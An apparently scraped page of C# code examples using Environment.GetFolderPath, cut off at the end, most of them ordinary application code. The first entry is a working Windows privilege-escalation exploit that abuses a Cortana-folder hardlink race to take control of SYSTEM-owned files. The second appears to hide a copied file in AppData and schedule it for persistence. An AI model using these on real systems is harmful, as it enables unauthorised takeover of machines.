Here are the examples of the csharp api System.Environment.GetFolderPath(System.Environment.SpecialFolder) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
2477 Examples
19
View Source File : Exploit.cs
License : GNU General Public License v3.0
Project Creator : 0x00-0x00
License : GNU General Public License v3.0
Project Creator : 0x00-0x00
static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("[+] Specify a target filename");
return;
}
if (!File.Exists(args[0]))
{
Console.WriteLine($"[+] {args[0]} not found");
return;
}
if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
{
Console.WriteLine($@"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
return;
}
if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
{
Console.WriteLine($@"[+] {WindowsIdenreplacedy.GetCurrent().Name} already has Full Control of {args[0]}");
return;
}
if (GetCortana() == 0)
{
Console.WriteLine("[+] Cortana disabled");
return;
}
string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
string LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";
Console.WriteLine($"[+] Removing {LocalState}");
try
{
Directory.Delete($@"{LocalState}", true);
}
catch { }
IntPtr Thread = GetCurrentThread();
SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);
NtFile ntFile;
ntFile = NtFile.Open($@"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);
Console.WriteLine("[+] Waiting to Create Hardlink");
bool Failed = true;
while (Failed)
{
try
{
ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt");
Failed = false;
}
catch { }
}
Console.WriteLine($"[+] Created Hardlink to {args[0]}");
// Give the service some time to rewrite DACLs
System.Threading.Thread.Sleep(2000);
if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
{
Console.WriteLine(@"[+] You have Full Control");
}
else
{
Console.WriteLine(@"[+] Unlucky - Try again");
}
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 0x727
License : MIT License
Project Creator : 0x727
public static void Copy(string inputfile, string randomname, string min)
{
string appdataFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string sourceFile = $@"{inputfile}";
//获取拓展名
string extension = Path.GetExtension(sourceFile);
string destinationFile = appdataFile + $@"\Microsoft\Windows\Themes\{randomname}" + extension;
if (File.Exists(destinationFile))
{
Console.WriteLine($"\n[x] File name exists: {destinationFile}");
return;
}
else
{
File.Copy(sourceFile, destinationFile);
//File.Move(sourceFile, destinationFile);
Console.WriteLine($"\n[*] Copy File location: \n{destinationFile}");
CreateTask(randomname, destinationFile, min);
}
}
19
View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5
static void Execute()
{
string batchpath = Path.Combine(FolderExe, "SHORTCUT.bat");
CreateBatch(FLStudioPaths, batchpath);
if (ReplaceDesktop)
{
CreateShortcut(string.Format("FL Studio {0}", VersionNumber), Environment.GetFolderPath(Environment.SpecialFolder.Desktop), batchpath, IconPath());
CreateShortcut(string.Format("FL Studio {0}", VersionNumber), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Programs), "Image-Line"), batchpath, IconPath());
CreateShortcut(string.Format("FL Studio {0}", VersionNumber), Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Start Menu\\Programs\\Image-Line"), batchpath, IconPath());
}
if (WriteShortcuts[0] != "")
{
foreach (string p in WriteShortcuts)
{
string realP = p.Replace(@"""", string.Empty);
CreateShortcut(string.Format("FL Studio {0}", VersionNumber), realP , batchpath, IconPath());
}
}
Console.WriteLine("\n\n Done, Thank you!");
}
19
View Source File : PlatformFolderBrowserDialog.cs
License : GNU General Public License v3.0
Project Creator : 0xC0000054
License : GNU General Public License v3.0
Project Creator : 0xC0000054
private static string GetSpecialFolderPath(Environment.SpecialFolder folder)
{
string folderPath = string.Empty;
try
{
folderPath = Environment.GetFolderPath(folder);
}
catch (ArgumentException)
{
}
catch (PlatformNotSupportedException)
{
}
return folderPath;
}
19
View Source File : StatusViewClasses.cs
License : GNU General Public License v3.0
Project Creator : 1RedOne
License : GNU General Public License v3.0
Project Creator : 1RedOne
public static string GetOSRealVersionInfo()
{
FileVersionInfo fvi = FileVersionInfo.GetVersionInfo(
Path.Combine(
System.Environment.GetFolderPath(System.Environment.SpecialFolder.System),
"kernel32.dll"));
return fvi.ProductVersion;
}
19
View Source File : MainWindow.xaml.cs
License : GNU General Public License v3.0
Project Creator : 1RedOne
License : GNU General Public License v3.0
Project Creator : 1RedOne
private void viewLogs_Click(object sender, RoutedEventArgs e)
{
System.Diagnostics.Process.Start($"{Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)}\\ClientFaux.log");
}
19
View Source File : dlgAddVM.cs
License : MIT License
Project Creator : 86Box
License : MIT License
Project Creator : 86Box
private void btnBrowse_Click(object sender, EventArgs e)
{
FolderSelectDialog dialog = new FolderSelectDialog
{
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer),
replacedle = "Select a folder where your virtual machines (configs, nvr folders, etc.) will be located"
};
if (dialog.Show(Handle))
{
txtImportPath.Text = dialog.FileName;
txtName.Text = Path.GetFileName(dialog.FileName);
}
}
19
View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box
License : MIT License
Project Creator : 86Box
private void LoadSettings()
{
try
{
RegistryKey regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", false); //Open the key as read only
//If the key doesn't exist yet, fallback to defaults
if (regkey == null)
{
MessageBox.Show("86Box Manager settings could not be loaded. This is normal if you're running 86Box Manager for the first time. Default values will be used.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
//Create the key and reopen it for write access
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\86Box");
regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", true);
regkey.CreateSubKey("Virtual Machines");
txtCFGdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\86Box VMs\";
txtEXEdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + @"\86Box\";
cbxMinimize.Checked = false;
cbxShowConsole.Checked = true;
cbxMinimizeTray.Checked = false;
cbxCloseTray.Checked = false;
cbxLogging.Checked = false;
txtLaunchTimeout.Text = "5000";
txtLogPath.Text = "";
cbxGrid.Checked = false;
btnBrowse3.Enabled = false;
txtLogPath.Enabled = false;
SaveSettings(); //This will write the default values to the registry
}
else
{
txtEXEdir.Text = regkey.GetValue("EXEdir").ToString();
txtCFGdir.Text = regkey.GetValue("CFGdir").ToString();
txtLaunchTimeout.Text = regkey.GetValue("LaunchTimeout").ToString();
txtLogPath.Text = regkey.GetValue("LogPath").ToString();
cbxMinimize.Checked = Convert.ToBoolean(regkey.GetValue("MinimizeOnVMStart"));
cbxShowConsole.Checked = Convert.ToBoolean(regkey.GetValue("ShowConsole"));
cbxMinimizeTray.Checked = Convert.ToBoolean(regkey.GetValue("MinimizeToTray"));
cbxCloseTray.Checked = Convert.ToBoolean(regkey.GetValue("CloseToTray"));
cbxLogging.Checked = Convert.ToBoolean(regkey.GetValue("EnableLogging"));
cbxGrid.Checked = Convert.ToBoolean(regkey.GetValue("EnableGridLines"));
txtLogPath.Enabled = cbxLogging.Checked;
btnBrowse3.Enabled = cbxLogging.Checked;
}
regkey.Close();
}
catch (Exception ex)
{
txtCFGdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents) + @"\86Box VMs";
txtEXEdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + @"\86Box";
cbxMinimize.Checked = false;
cbxShowConsole.Checked = true;
cbxMinimizeTray.Checked = false;
cbxCloseTray.Checked = false;
cbxLogging.Checked = false;
txtLaunchTimeout.Text = "5000";
txtLogPath.Text = "";
cbxGrid.Checked = false;
txtLogPath.Enabled = false;
btnBrowse3.Enabled = false;
}
}
19
View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box
License : MIT License
Project Creator : 86Box
private void btnBrowse1_Click(object sender, EventArgs e)
{
FolderSelectDialog dialog = new FolderSelectDialog
{
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer),
replacedle = "Select a folder where 86Box program files and the roms folder are located"
};
if (dialog.Show(Handle))
{
txtEXEdir.Text = dialog.FileName;
if (!txtEXEdir.Text.EndsWith(@"\")) //Just in case
{
txtEXEdir.Text += @"\";
}
}
}
19
View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box
License : MIT License
Project Creator : 86Box
private void btnBrowse2_Click(object sender, EventArgs e)
{
FolderSelectDialog dialog = new FolderSelectDialog
{
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer),
replacedle = "Select a folder where your virtual machines (configs, nvr folders, etc.) will be located"
};
if (dialog.Show(Handle))
{
txtCFGdir.Text = dialog.FileName;
if (!txtCFGdir.Text.EndsWith(@"\")) //Just in case
{
txtCFGdir.Text += @"\";
}
}
}
19
View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box
License : MIT License
Project Creator : 86Box
private void ResetSettings()
{
RegistryKey regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", true);
if (regkey == null)
{
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\86Box");
regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", true);
regkey.CreateSubKey("Virtual Machines");
}
regkey.Close();
txtCFGdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + @"\86Box VMs\";
txtEXEdir.Text = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + @"\86Box\";
cbxMinimize.Checked = false;
cbxShowConsole.Checked = true;
cbxMinimizeTray.Checked = false;
cbxCloseTray.Checked = false;
cbxLogging.Checked = false;
txtLaunchTimeout.Text = "5000";
txtLogPath.Text = "";
cbxGrid.Checked = false;
txtLogPath.Enabled = false;
btnBrowse3.Enabled = false;
settingsChanged = CheckForChanges();
}
19
View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box
License : MIT License
Project Creator : 86Box
private void btnBrowse3_Click(object sender, EventArgs e)
{
SaveFileDialog ofd = new SaveFileDialog();
ofd.DefaultExt = "log";
ofd.replacedle = "Select a file where 86Box logs will be saved";
ofd.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer);
ofd.Filter = "Log files (*.log)|*.log";
if (ofd.ShowDialog() == DialogResult.OK)
{
txtLogPath.Text = ofd.FileName;
}
ofd.Dispose();
}
19
View Source File : FrmLauncher.cs
License : GNU General Public License v3.0
Project Creator : 9vult
License : GNU General Public License v3.0
Project Creator : 9vult
private void FrmLauncher_Load(object sender, EventArgs e)
{
WFClient.logger.Log("Starting");
// Set embedded fonts
label1.Font = bigFont;
label2.Font = smallFont;
if (Properties.Settings.Default["approot"].ToString() == String.Empty)
{
Properties.Settings.Default["approot"] = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MikuReader2");
Properties.Settings.Default.Save();
}
FileHelper.APP_ROOT = FileHelper.CreateDI(Properties.Settings.Default["approot"].ToString());
Directory.CreateDirectory(FileHelper.APP_ROOT.FullName);
WFClient.logger.Log("Loading from " + FileHelper.APP_ROOT);
if (File.Exists(Path.Combine(FileHelper.APP_ROOT.FullName, "mikureader.txt")))
{
SettingsHelper.Initialize();
}
else
{
SettingsHelper.Create();
SettingsHelper.Initialize();
}
WFClient.dlm.ProgressUpdated += new ProgressUpdatedEventHandler(ProgressUpdatedCallback);
RepopulateItems();
if (SettingsHelper.CheckForUpdates)
Updater.Start();
}
19
View Source File : FrmStartPage.cs
License : GNU General Public License v3.0
Project Creator : 9vult
License : GNU General Public License v3.0
Project Creator : 9vult
private void FrmStartPage_Load(object sender, EventArgs e)
{
downloadManager = new DownloadManager(this);
if ((string)Properties.Settings.Default["homeDirectory"] == "")
{
homeFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\MikuReader";
Properties.Settings.Default["homeDirectory"] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\MikuReader";
Properties.Settings.Default.Save();
}
else
{
homeFolder = (string)Properties.Settings.Default["homeDirectory"];
}
Logger.logFile = homeFolder + "\\log.txt";
if (Directory.Exists(homeFolder))
{
RefreshContents();
if (lstManga.Items.Count > 0)
{
lstManga.SelectedIndex = 0;
}
}
else
{
Directory.CreateDirectory(homeFolder);
}
Logger.Log("Starting Up...");
Logger.Log("Home folder is '" + homeFolder + "'");
// updater
if ((bool)Properties.Settings.Default["checkForUpdates"] == true)
{
Logger.Log("Checking for updates...");
AutoUpdater.Start("https://www.dropbox.com/s/8pf1shiotl68fqv/updateinfo.xml?raw=1");
AutoUpdater.RunUpdateAsAdmin = true;
AutoUpdater.DownloadPath = homeFolder + "\\update";
}
}
19
View Source File : FrmSettings.cs
License : GNU General Public License v3.0
Project Creator : 9vult
License : GNU General Public License v3.0
Project Creator : 9vult
private void BtnSave_Click(object sender, EventArgs e)
{
SettingsHelper.UseDoubleReader = rbDouble.Checked;
SettingsHelper.CheckForUpdates = chkUpdates.Checked;
if (!txtDir.Text.Equals((string)Properties.Settings.Default["approot"]))
{
DialogResult dr = MessageBox.Show(sl.Msg_saveloc, "Confirmation", MessageBoxButtons.YesNo);
if (dr == DialogResult.Yes)
{
if (!txtDir.Text.Equals(""))
{
Properties.Settings.Default["approot"] = txtDir.Text;
Properties.Settings.Default.Save();
} else
{
Properties.Settings.Default["approot"] = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MikuReader2");
Properties.Settings.Default.Save();
}
} else
{
txtDir.Text = (string)Properties.Settings.Default["approot"];
}
}
if (!cmboLanguage.SelectedItem.ToString().Equals(Properties.Settings.Default["language"].ToString()))
{
DialogResult dr = MessageBox.Show(sl.Msg_lang, "Confirmation", MessageBoxButtons.OK);
Properties.Settings.Default["language"] = cmboLanguage.SelectedItem.ToString();
Properties.Settings.Default.Save();
}
SettingsHelper.Save();
WFClient.logger.Log("Settings saved.");
MessageBox.Show(sl.Msg_saved);
}
19
View Source File : Form1.cs
License : MIT License
Project Creator : a1xd
License : MIT License
Project Creator : a1xd
static void MakeStartupShortcut(bool gui)
{
var startupFolder = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
if (string.IsNullOrEmpty(startupFolder))
{
throw new Exception("Startup folder does not exist");
}
//Windows Script Host Shell Object
Type t = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"));
dynamic shell = Activator.CreateInstance(t);
try
{
// Delete any other RA related startup shortcuts
var candidates = new[] { "rawaccel", "raw accel", "writer" };
foreach (string path in Directory.EnumerateFiles(startupFolder, "*.lnk")
.Where(f => candidates.Any(f.Substring(startupFolder.Length).ToLower().Contains)))
{
var link = shell.CreateShortcut(path);
try
{
string targetPath = link.TargetPath;
if (!(targetPath is null) &&
(targetPath.EndsWith("rawaccel.exe") ||
targetPath.EndsWith("writer.exe") &&
new FileInfo(targetPath).Directory.GetFiles("rawaccel.exe").Any()))
{
File.Delete(path);
}
}
finally
{
Marshal.FinalReleaseComObject(link);
}
}
var name = gui ? "rawaccel" : "writer";
var lnk = shell.CreateShortcut($@"{startupFolder}\{name}.lnk");
try
{
if (!gui) lnk.Arguments = Constants.DefaultSettingsFileName;
lnk.TargetPath = $@"{Application.StartupPath}\{name}.exe";
lnk.Save();
}
finally
{
Marshal.FinalReleaseComObject(lnk);
}
}
finally
{
Marshal.FinalReleaseComObject(shell);
}
}
19
View Source File : SettingForm.cs
License : MIT License
Project Creator : aabiryukov
License : MIT License
Project Creator : aabiryukov
private void selectLogoFileButton_Click(object sender, EventArgs e)
{
using (var fileDialog = new OpenFileDialog())
{
if (string.IsNullOrEmpty(LogoFileTextBox.Text))
{
fileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);
}
else
{
fileDialog.FileName = LogoFileTextBox.Text;
fileDialog.InitialDirectory = Path.GetDirectoryName(fileDialog.FileName);
}
fileDialog.Filter = "Images|*.jpg;*.jpeg;*.png;*.bmp";
fileDialog.replacedle = "Select Logo image file";
if (fileDialog.ShowDialog(this) == DialogResult.OK)
{
LogoFileTextBox.Text = fileDialog.FileName;
}
}
}
19
View Source File : SCC.cs
License : Apache License 2.0
Project Creator : AantCoder
License : Apache License 2.0
Project Creator : AantCoder
public static void Init()
{
try
{
var workPath = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
, @"..\LocalLow\Ludeon Studios\RimWorld by Ludeon Studios\OnlineCity");
Directory.CreateDirectory(workPath);
Loger.PathLog = workPath;
}
catch { }
Loger.Log("Chat Init");
}
19
View Source File : SettingViewModel.cs
License : MIT License
Project Creator : Abdesol
License : MIT License
Project Creator : Abdesol
public void SyncCommand(string syncType)
{
string message = "";
if(syncType == "Import")
{
var fileDialog = new OpenFileDialog();
fileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
fileDialog.DefaultExt = "whl";
fileDialog.Filter = "whl files (*.whl)|*.whl";
var dialogResult = fileDialog.ShowDialog();
if (dialogResult != DialogResult.Cancel && !string.IsNullOrEmpty(fileDialog.FileName))
{
message = database.ImportData(fileDialog.FileName);
}
}
else
{
var fileDialog = new SaveFileDialog();
fileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
fileDialog.DefaultExt = "whl";
fileDialog.FileName = $"Export_CutCode_{DateTime.Now.ToString("yyyyMMddhhmmss")}.whl";
fileDialog.Filter = "whl files (*.whl)|*.whl";
var dialogResult = fileDialog.ShowDialog();
if (dialogResult != DialogResult.Cancel)
{
message = database.ExportData(fileDialog.FileName);
}
}
if(!string.IsNullOrEmpty(message)) notificationManager.CreateNotification(message, 4);
}
19
View Source File : FormMain.cs
License : MIT License
Project Creator : Abneed
License : MIT License
Project Creator : Abneed
private void Abrir()
{
openFileDialogDoreplacedento.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents);
openFileDialogDoreplacedento.Filter = "Formato de texto enriquecido (RTF)|*.rtf";
if (openFileDialogDoreplacedento.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
// Si se selecciono un nombre de archivo valido...
if (openFileDialogDoreplacedento.FileName.Length > 0)
{
try
{
// Se genera una nueva pestaña.
AgregarPestana();
// Se busca y se selecciona la nueva pestaña generada.
tabControlPrincipal.SelectedTab = tabControlPrincipal.TabPages["Sin título-" + this.m_intConteoPestanas];
// Carga el contenido del archivo en el RichTextBox de la nueva pestaña.
ObtenerDoreplacedentoActual.LoadFile(openFileDialogDoreplacedento.FileName, RichTextBoxStreamType.RichText);
// Se establece el nombre del archivo en el replacedulo de la pestaña y el nombre de la misma.
string NombreArchivo = Path.GetFileName(openFileDialogDoreplacedento.FileName);
tabControlPrincipal.SelectedTab.Text = NombreArchivo;
tabControlPrincipal.SelectedTab.Name = NombreArchivo;
}
catch (Exception e)
{
MessageBox.Show(e.Message);
}
}
}
}
19
View Source File : FormMain.cs
License : MIT License
Project Creator : Abneed
License : MIT License
Project Creator : Abneed
private void Guardar()
{
saveFileDialogDoreplacedento.FileName = tabControlPrincipal.SelectedTab.Name;
saveFileDialogDoreplacedento.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents);
saveFileDialogDoreplacedento.Filter = "Formato de texto enriquecido (RTF)|*.rtf";
saveFileDialogDoreplacedento.replacedle = "Guardar";
if (saveFileDialogDoreplacedento.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
// Si se selecciono un nombre de archivo valido...
if (saveFileDialogDoreplacedento.FileName.Length > 0)
{
try
{
// Guarda el contenido del RichTextBox en la ruta del archivo establecida.
ObtenerDoreplacedentoActual.SaveFile(saveFileDialogDoreplacedento.FileName, RichTextBoxStreamType.RichText);
// Se establece el nombre del archivo en el replacedulo de la pestaña y el nombre de la misma.
string NombreArchivo = Path.GetFileName(saveFileDialogDoreplacedento.FileName);
tabControlPrincipal.SelectedTab.Text = NombreArchivo;
tabControlPrincipal.SelectedTab.Name = NombreArchivo;
}
catch (Exception e)
{
MessageBox.Show(e.Message);
}
}
}
}
19
View Source File : FormMain.cs
License : MIT License
Project Creator : Abneed
License : MIT License
Project Creator : Abneed
private void GuardarComo()
{
saveFileDialogDoreplacedento.FileName = tabControlPrincipal.SelectedTab.Name;
saveFileDialogDoreplacedento.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyDoreplacedents);
saveFileDialogDoreplacedento.Filter = "Formato de texto enriquecido (RTF)|*.rtf";
saveFileDialogDoreplacedento.replacedle = "Guardar como";
if (saveFileDialogDoreplacedento.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
// Si se selecciono un nombre de archivo valido...
if (saveFileDialogDoreplacedento.FileName.Length > 0)
{
try
{
// Guarda el contenido del RichTextBox en la ruta del archivo establecida.
ObtenerDoreplacedentoActual.SaveFile(saveFileDialogDoreplacedento.FileName, RichTextBoxStreamType.RichText);
// Se establece el nombre del archivo en el replacedulo de la pestaña y el nombre de la misma.
string NombreArchivo = Path.GetFileName(saveFileDialogDoreplacedento.FileName);
tabControlPrincipal.SelectedTab.Text = NombreArchivo;
tabControlPrincipal.SelectedTab.Name = NombreArchivo;
}
catch (Exception e)
{
MessageBox.Show(e.Message);
}
}
}
}
19
View Source File : ExportAndScreenshotOptionsChart.xaml.cs
License : MIT License
Project Creator : ABTSoftware
License : MIT License
Project Creator : ABTSoftware
public SaveFileDialog CreateFileDialog(string filter)
{
var saveFileDialog = new SaveFileDialog
{
Filter = filter,
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
return saveFileDialog;
}
19
View Source File : CustomChangeThemeModifier.cs
License : MIT License
Project Creator : ABTSoftware
License : MIT License
Project Creator : ABTSoftware
private void Export(string filter, bool useXaml, Size? size = null)
{
var saveFileDialog = new SaveFileDialog
{
Filter = filter,
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
if (saveFileDialog.ShowDialog() == true)
{
if (!(ParentSurface is SciChartSurface surface)) return;
var exportType = filter.ToUpper().Contains("XPS") ? ExportType.Xps : ExportType.Png;
if (size.HasValue)
{
surface.ExportToFile(saveFileDialog.FileName, exportType, useXaml, size.Value);
}
else
{
surface.ExportToFile(saveFileDialog.FileName, exportType, useXaml);
}
try
{
Process.Start(saveFileDialog.FileName);
}
catch (Win32Exception e)
{
if (e.NativeErrorCode == 1155)
{
MessageBox.Show("Can't open because no application is replacedociated with the specified file for this operation.", "Exported successfully!");
}
}
}
}
19
View Source File : DefaultLogger.cs
License : MIT License
Project Creator : Accelerider
License : MIT License
Project Creator : Accelerider
private void Write(string category, string message, Exception e)
{
message = $"{message}{Environment.NewLine}";
if (e != null)
{
message = $"{message}{e.Message}{Environment.NewLine}" +
$"{e.StackTrace}{Environment.NewLine}";
}
message = $"{DateTime.Now:yyyy-MM-dd HH:mm:ss.fff} " +
$"[{Thread.CurrentThread.ManagedThreadId}] " +
$"{category.ToUpper()} " +
$"{_type.FullName}{Environment.NewLine}" +
$"{message}{Environment.NewLine}";
System.Diagnostics.Debug.Write(message);
File.WriteAllText(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "accelerider.windows.log"),
message);
}
19
View Source File : RunScriptViewModel.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
public void LoadScratch()
{
var s = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
var p = Path.Combine(s, "SCaddins", "Script.cs");
if (!File.Exists(p)) {
return;
}
Script = File.ReadAllText(p);
}
19
View Source File : RunScriptViewModel.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
public void SaveScratch()
{
var s = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
var p = Path.Combine(s, "SCaddins");
if (!Directory.Exists(p)) {
Directory.CreateDirectory(p);
}
File.WriteAllText(Path.Combine(p, "Script.cs"), Script);
}
19
View Source File : IniIO.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
public static string GetIniFile(Doreplacedent doc)
{
var version = doc.Application.VersionName;
var path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
var fullPath = System.IO.Path.Combine(path, @"Autodesk\Revit", version, @"Revit.ini");
return System.IO.File.Exists(fullPath) ? fullPath : string.Empty;
}
19
View Source File : ExportSchedulesViewModel.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
public void SelectExportDir()
{
var directory = string.Empty;
var defaultDir = System.Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
var dialogResult = SCaddinsApp.WindowManager.ShowDirectorySelectionDialog(defaultDir, out directory);
if (dialogResult.HasValue && dialogResult.Value == true)
{
if (System.IO.Directory.Exists(directory))
{
ExportDir = directory;
NotifyOfPropertyChange(() => ExportDir);
NotifyOfPropertyChange(() => ExportIsEnabled);
}
}
}
19
View Source File : Command.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas
public Result Execute(
ExternalCommandData commandData, ref string message, ElementSet elements)
{
if (commandData == null)
{
throw new ArgumentNullException(nameof(commandData));
}
Doreplacedent doc = commandData.Application.ActiveUIDoreplacedent.Doreplacedent;
if (doc == null)
{
return Result.Failed;
}
var exportDir = System.Environment.GetFolderPath(System.Environment.SpecialFolder.Desktop);
var vm = new ViewModels.ExportSchedulesViewModel(Utilities.GetAllSchedules(doc), exportDir);
SCaddinsApp.WindowManager.ShowDialog(vm, null, ViewModels.ExportSchedulesViewModel.DefaultWindowSettings);
return Result.Succeeded;
}
19
View Source File : VssFileStorage.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
private static string SafeGetFolderPath(Environment.SpecialFolder specialFolder)
{
try
{
return Environment.GetFolderPath(specialFolder);
}
catch (ArgumentException)
{
return null;
}
}
19
View Source File : App.xaml.cs
License : MIT License
Project Creator : Actipro
License : MIT License
Project Creator : Actipro
protected override void OnStartup(StartupEventArgs e) {
// Tell images to chromatically adapt for dark themes when needed
ImageProvider.Default.ChromaticAdaptationMode = ImageChromaticAdaptationMode.DarkThemes;
ImageProvider.Default.UseMonochromeInHighContrast = true;
// NOTE: This is the ideal place to set the application theme, load native styles, or set customized string resources
ThemeManager.BeginUpdate();
try {
// The older Aero and Office 2010 themes are in a separate replacedembly and must be registered if you will use them in the application
ThemesAeroThemeCatalogRegistrar.Register();
// Register an optional "Custom (Slate)" theme definition (selectable from the Theme menu)
ThemeManager.RegisterThemeDefinition(new ThemeDefinition("Custom") {
Intent = ThemeIntent.Dark,
BarItemBackgroundGradientKind = GradientKind.Mid,
BaseGrayscaleHue = 210,
BaseGrayscaleSaturation = 52,
ButtonBackgroundGradientKind = GradientKind.Mid,
ButtonBorderContrastKind = BorderContrastKind.Low,
ContainerBorderContrastKind = BorderContrastKind.Low,
LisreplacedemBackgroundGradientKind = GradientKind.Mid,
PopupBorderContrastKind = BorderContrastKind.Low,
ScrollBarHasButtons = true,
ScrollBarThumbCornerRadius = 1.5,
ScrollBarThumbMargin = 7,
WindowreplacedleBarBackgroundKind = WindowreplacedleBarBackgroundKind.ThemeMinimum,
});
// Use the Actipro styles for native WPF controls that look great with Actipro's control products
ThemeManager.AreNativeThemesEnabled = true;
// Update the SyntaxEditor highlighting style registry and image set if the theme changes backgrounds from light to dark, or vice versa
ThemeManager.CurrentThemeChanged += (sender, args) => {
ActiproSoftware.ProductSamples.SyntaxEditorSamples.Common.SyntaxEditorHelper.UpdateHighlightingStyleRegistryForThemeChange();
ActiproSoftware.ProductSamples.SyntaxEditorSamples.Common.SyntaxEditorHelper.UpdateImageSetForThemeChange();
};
// Set a Metro Light theme
ThemeManager.CurrentTheme = ThemeNames.MetroLight;
}
finally {
ThemeManager.EndUpdate();
}
// ------------------------------------------------------------------------------------------------------
// If using SyntaxEditor with languages that support syntax/semantic parsing, use this line at
// app startup to ensure that worker threads are used to perform the parsing
ActiproSoftware.Text.Parsing.AmbientParseRequestDispatcherProvider.Dispatcher =
new ActiproSoftware.Text.Parsing.Implementation.ThreadedParseRequestDispatcher();
// Create SyntaxEditor .NET Languages Add-on ambient replacedembly repository, which supports caching of
// reflection data and improves performance for the add-on...
// Be sure to replace the appDataPath with a proper path for your own application (if file access is allowed)
var appDataPath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Actipro Software"), "WPF SampleBrowser replacedembly Repository");
ActiproSoftware.Text.Languages.DotNet.Reflection.AmbientreplacedemblyRepositoryProvider.Repository =
new ActiproSoftware.Text.Languages.DotNet.Reflection.Implementation.FileBasedreplacedemblyRepository(appDataPath);
// Create SyntaxEditor Python Languages Add-on ambient pacakge repository, which supports caching of
// reflection data... Be sure to replace the appDataPath with a proper path for your own application (if file access is allowed)
appDataPath = Path.Combine(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Actipro Software"), "WPF SampleBrowser Python Package Repository");
ActiproSoftware.Text.Languages.Python.Reflection.AmbientPackageRepositoryProvider.Repository =
new ActiproSoftware.Text.Languages.Python.Reflection.Implementation.FileBasedPackageRepository(appDataPath);
// ------------------------------------------------------------------------------------------------------
// Call the base method
base.OnStartup(e);
}
19
View Source File : FileManager.cs
License : GNU General Public License v3.0
